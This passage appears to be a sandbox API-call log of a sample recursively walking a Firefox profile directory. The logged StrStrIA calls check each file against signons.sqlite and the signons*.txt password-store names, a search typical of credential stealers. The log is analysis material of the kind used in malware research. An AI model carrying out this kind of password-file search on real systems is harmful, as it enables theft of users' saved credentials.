lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*" [0068.562] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\bookmarkbackups\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0068.584] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.584] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.584] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.584] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.584] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.584] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.sqlite") returned 0x0 [0068.584] lstrlenA (lpString="bookmarks-2017-05-31_5.json") returned 27 [0068.584] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons.txt") returned 0x0 [0068.584] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons2.txt") returned 0x0 [0068.584] StrStrIA (lpFirst="bookmarks-2017-05-31_5.json", lpSrch="signons3.txt") returned 0x0 [0068.584] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.584] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.sqlite") returned 0x0 [0068.584] lstrlenA (lpString="bookmarks-2017-07-12_5.json") returned 27 [0068.584] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons.txt") returned 0x0 [0068.584] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons2.txt") returned 0x0 [0068.584] StrStrIA (lpFirst="bookmarks-2017-07-12_5.json", lpSrch="signons3.txt") returned 0x0 [0068.584] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0068.584] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0068.585] LocalFree (hMem=0x65b330) returned 0x0 [0068.585] LocalFree (hMem=0x626b50) returned 0x0 [0068.585] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="cert8.db", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="cert8.db") returned 8 [0068.586] StrStrIA (lpFirst="cert8.db", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="cert8.db", lpSrch="signons2.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="cert8.db", lpSrch="signons3.txt") returned 0x0 [0068.586] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="compatibility.ini") returned 17 [0068.586] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons2.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="compatibility.ini", lpSrch="signons3.txt") returned 0x0 [0068.586] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="content-prefs.sqlite") returned 20 [0068.586] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="content-prefs.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.586] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="cookies.sqlite") returned 14 [0068.586] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="cookies.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.586] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="downloads.sqlite") returned 16 [0068.586] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="downloads.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.586] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.586] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.sqlite") returned 0x0 [0068.586] lstrlenA (lpString="extensions.ini") returned 14 [0068.586] StrStrIA (lpFirst="extensions.ini", lpSrch="signons.txt") returned 0x0 [0068.586] StrStrIA (lpFirst="extensions.ini", lpSrch="signons2.txt") returned 0x0 [0068.587] StrStrIA (lpFirst="extensions.ini", lpSrch="signons3.txt") returned 0x0 [0068.587] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.587] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.587] lstrlenA (lpString="extensions.sqlite") returned 17 [0068.587] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons.txt") returned 0x0 [0068.587] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.587] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.587] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.587] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0068.587] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0068.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.587] lstrlenA (lpString="\\") returned 1 [0068.587] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6273f8 [0068.587] lstrcpyA (in: lpString1=0x6273f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0068.587] lstrlenA (lpString="healthreport") returned 12 [0068.587] LocalAlloc (uFlags=0x40, uBytes=0xd8) returned 0x65b348 [0068.587] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0068.587] LocalFree (hMem=0x6273f8) returned 0x0 [0068.587] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned 87 [0068.587] lstrlenA (lpString="\\*.*") returned 4 [0068.587] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x626b50 [0068.587] lstrcpyA (in: lpString1=0x626b50, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport" [0068.587] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*" [0068.587] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\healthreport\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0068.590] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.590] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.590] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.590] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.590] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0 [0068.590] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0068.590] LocalFree (hMem=0x626b50) returned 0x0 [0068.590] LocalFree (hMem=0x65b348) returned 0x0 [0068.590] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.591] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0068.591] lstrlenA (lpString="healthreport.sqlite") returned 19 [0068.591] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0068.591] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0068.591] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0068.591] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fb76 | out: lpFindFileData=0x12fb76) returned 1 [0068.591] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0068.591] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0068.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0068.591] lstrlenA (lpString="\\") returned 1 [0068.591] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6273f8 [0068.591] lstrcpyA (in: lpString1=0x6273f8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0068.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0068.591] lstrlenA (lpString="indexedDB") returned 9 [0068.591] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0068.591] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0068.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0068.591] LocalFree (hMem=0x6273f8) returned 0x0 [0068.591] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0068.591] lstrlenA (lpString="\\*.*") returned 4 [0068.591] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x626b50 [0068.591] lstrcpyA (in: lpString1=0x626b50, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0068.591] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*" [0068.591] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\*.*", lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 0x6426e8 [0068.592] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.592] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.592] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.592] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.592] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa0e | out: lpFindFileData=0x12fa0e) returned 1 [0068.592] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0068.592] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0068.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned 84 [0068.592] lstrlenA (lpString="\\") returned 1 [0068.592] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x65b428 [0068.592] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB" [0068.592] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0068.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned 85 [0068.592] lstrlenA (lpString="moz-safe-about+home") returned 19 [0068.592] LocalAlloc (uFlags=0x40, uBytes=0xe9) returned 0x65e338 [0068.592] lstrcpyA (in: lpString1=0x65e338, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\" [0068.592] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0068.592] LocalFree (hMem=0x65b428) returned 0x0 [0068.592] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0068.592] lstrlenA (lpString="\\*.*") returned 4 [0068.592] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e448 [0068.593] lstrcpyA (in: lpString1=0x65e448, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0068.593] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*" [0068.593] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 0x642728 [0068.594] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.594] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0068.594] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.594] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.594] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0068.594] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0068.594] lstrlenA (lpString=".metadata") returned 9 [0068.594] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0068.594] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0068.594] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0068.594] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8a6 | out: lpFindFileData=0x12f8a6) returned 1 [0068.594] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0068.594] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0068.594] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned 104 [0068.594] lstrlenA (lpString="\\") returned 1 [0068.594] LocalAlloc (uFlags=0x40, uBytes=0xea) returned 0x65e540 [0068.594] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home" [0068.594] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0068.594] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned 105 [0068.594] lstrlenA (lpString="idb") returned 3 [0068.594] LocalAlloc (uFlags=0x40, uBytes=0xed) returned 0x65e638 [0068.594] lstrcpyA (in: lpString1=0x65e638, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0068.594] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0068.594] LocalFree (hMem=0x65e540) returned 0x0 [0068.594] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0068.594] lstrlenA (lpString="\\*.*") returned 4 [0068.594] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x661438 [0068.594] lstrcpyA (in: lpString1=0x661438, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0068.594] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0068.594] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 0x642768 [0068.608] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0068.608] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0068.608] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0068.608] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0068.608] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f73e | out: lpFindFileData=0x12f73e) returned 1 [0068.608] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0068.608] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0068.608] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0068.608] lstrlenA (lpString="\\") returned 1 [0068.608] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e540 [0068.609] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0068.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0068.609] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0068.609] lstrlenA (lpString="818200132aebmoouht") returned 18 [0068.609] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x662540 [0068.609] lstrcpyA (in: lpString1=0x662540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0068.609] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") 